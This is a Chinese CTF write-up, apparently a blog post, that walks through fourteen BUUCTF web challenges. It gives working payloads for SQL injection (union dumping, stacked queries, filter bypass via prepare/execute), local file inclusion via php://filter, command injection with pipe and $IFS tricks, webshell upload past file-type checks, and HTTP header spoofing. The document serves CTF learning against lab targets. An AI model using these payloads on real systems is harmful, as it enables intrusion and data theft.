BUUCTF web第一页WP

目录

[极客大挑战 2019]EasySQL

[HCTF 2018]WarmUp

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

[强网杯 2019]随便注

[ACTF2020 新生赛]Exec

[SUCTF 2019]EasySQL

[极客大挑战 2019]Secret File

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload


[极客大挑战 2019]EasySQL

payload:

1' or 1=1-- -
1

flag{deb9ccf8-479a-49c9-8412-6171f1c4b057}

[HCTF 2018]WarmUp

f12查看源码发现提示source.php, 进入获得源代码

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

这里有hint.php,url/hint.php发现

flag in ffffllllaaaagggg

再回去审计代码,核心代码如下:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

意思就是传入一个file变量,需要是字符串,并且传进emmm的checkFile函数时还要返回True, 就可以被包含,那么包含什么呢??就是之前hint.php里面的ffffllllaaaagggg

checkFile函数有很多返回True的条件,我们满足一个就可以

测试:

这里对应的是源码中的这里,返回的$_page是hint.php,在它给的白名单里,返回true

但是payload不能直接这样写,你得进行两次url编码,为啥是两次呢?因为你传过去的时候服务器会自动解码一次,题目源代码又解码一次,所以要两次编码

[极客大挑战 2019]Havefun

f12查看源代码

payload:

?cat=dog

[ACTF2020 新生赛]Include

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

为什么这么写呢?

那个tips里就是flag.php,题目的名字是include, 可以推测get传入的东西会被包含,但是传了file以后并没有出现flag,很可能就是被注释了,就可以利用伪协议把这个文件显示出来。

这里再写一下我想错的一个地方,我本来是想file=$_POST[1],然后post传伪协议,但是不行,为什么呢?

因为这里它直接包含了,不是eval执行,包含的话是包含文件

如果是eval的话,那就可以get传?file=include $_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

就是这样

base64解码即可

[强网杯 2019]随便注

有点触及我的知识盲区了,select被ban了,报错注入和盲注都行不通

强推这个大佬的wp,很详细BUUCTF之随便注_金 帛的博客-CSDN博客_buuctf随便注

新学会堆叠注入和利用sql预处理命令注入

我就简单复述一下

堆叠注入

利用分号(;)隔开sql语句,一下子能执行多条语句

查看数据库:

-1'; show databases;# 

查表:

-1'; show databases;use supersqli;show tables# 

查列:

-1';use supersqli;show columns from `1919810931114514`;# 

找到flag了,接下来就是怎么把它搞出来,两种办法:

1、handler查询法

2、预编译绕过法

handler查询法

本地使用:

payload:

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

预编译绕过法

预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句

利用concat函数来联合@a里的内容,来绕过过滤

payload:

-1'use supersqli;set @sql=concat('sele','ct flag from `1919810931114514`;');prepare b from @sql;execute b;#

strstr函数ban了set和prepare,但是它不分大小写,可以用大小写绕过

payload:

-1';Set @sql=concat('sele','ct flag from `1919810931114514`;');PrePare b from @sql;execute b;#

[ACTF2020 新生赛]Exec

很像ctfhub的命令执行,应该就是命令执行

1、|(就是按位或),直接执行|后面的语句
​
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
​
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
​
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
​
5、; 前后都执行,无论前面真假,同&,(linux也有)

执行命令找flag就行了

127.0.0.1|ls /  #发现flag
127.0.0.1|tac /flag

[SUCTF 2019]EasySQL

堆叠注入

 有flag表,但是from flag貌似被ban了,不能读到

看wp知道 这个题的查询代码是`select $post['query']||flag from Flag`

几种解法:

1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 或 运算符,这和Oracle数据库是一样的,也和字符串的拼接函数 CONCAT() 相类似。
这里相当于是将 select 1 和 select flag from Flag 的结果拼接在一起
*,1
拼接一下就是 select *,1||flag from Flag  (1||x=1)
就相当于  select *,1 from Flag    就把flag里的东西都查出来了

本地测试:

这图还不秒懂????????????

关于*,1这个解的本地测试:

select 1 from table;的结果是什么?

(来自一个叫“一只小白来了”的大佬)

可以看到,查询结果为列名为1,一共六行

select任何一个常数都会在表中新建一列,然后查询出那一列的内容。

结论: select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。

这篇博客有介绍:select 1 from table where的作用? - ITCHN - 博客园

[极客大挑战 2019]Secret File

抓包,发现secr3t.php

进入这个目录获得源码

发现get传的file被包含,提示说在flag.php里

但是这么传payload好像看不到flag,试着用伪协议看到源码

base64解码拿到flag

[GXYCTF2019]Ping Ping Ping

试了半天,这过滤的有点太多了吧

ban位: " ", (), <>, \, / , {}, %09, %20, * , 空格 等

但是$IFS还在

然后,,,,,,

竟有如此奇法!好骚

?ip=127.0.0.1;a=ag;b=fl;tac$IFS$b$a.php

[极客大挑战 2019]LoveSQL

啊咧?

这样能直接登录进去,但是不给flag,说明flag还在数据库里,得爆

就正常联合查询爆

找回显点, 发现2和3的位置是回显

1' union select 1,2,3-- -

查数据库和表, 得到表名geekuser, l0ve1ysq1 ,应该是后面那个

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -

查字段名

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'-- -

查数据

1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1-- -

拿到了,极客大挑战果然还是入门

[极客大挑战 2019]Knife

看这封面是webshell的题吧

直接蚁剑连接

根目录里有一个flag文件,打开就是flag

[极客大挑战 2019]Http

既然题目叫http,就抓包

有个secret的页面

找对地方了

让从哪个网址进来,就通过Referer伪造

让用那个syclover浏览器,通过UA头伪造

让从本地来,再XXF伪造,拿到flag了

[极客大挑战 2019]Upload

先上传一个.user.ini,这里设置了过滤,需要增加文件十六进制文件头,以及Content-type后面改成image/png

<?被ban了

用这个标记可以

这样也可以

试了非常久,终于把木马插进去并且蚁剑测试成功了,好像是因为文件头和Content-Type不符合,我把Content-Type后面跟着的改成gif就好了(但是之前的png又能传上去,,ε=(´ο`*)))唉,小坑)

PS:

  PHTML(有时也被称为PHP页)实际上是网页,它包括了由PHP脚本语言写成的网页,PHP语言和JavaScript或VBScript。它有点象微软的ASP页,一个PHTML页包括一些能够在服务器上执行的程序,用户可以通过网页的后缀可以了解什么是PHTML页。 

flag在根目录

[ACTF2020 新生赛]Upload

先把前端给它改了

好像是js验证,那就禁了完事

传马

蚁剑连接

flag还是在根目录

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值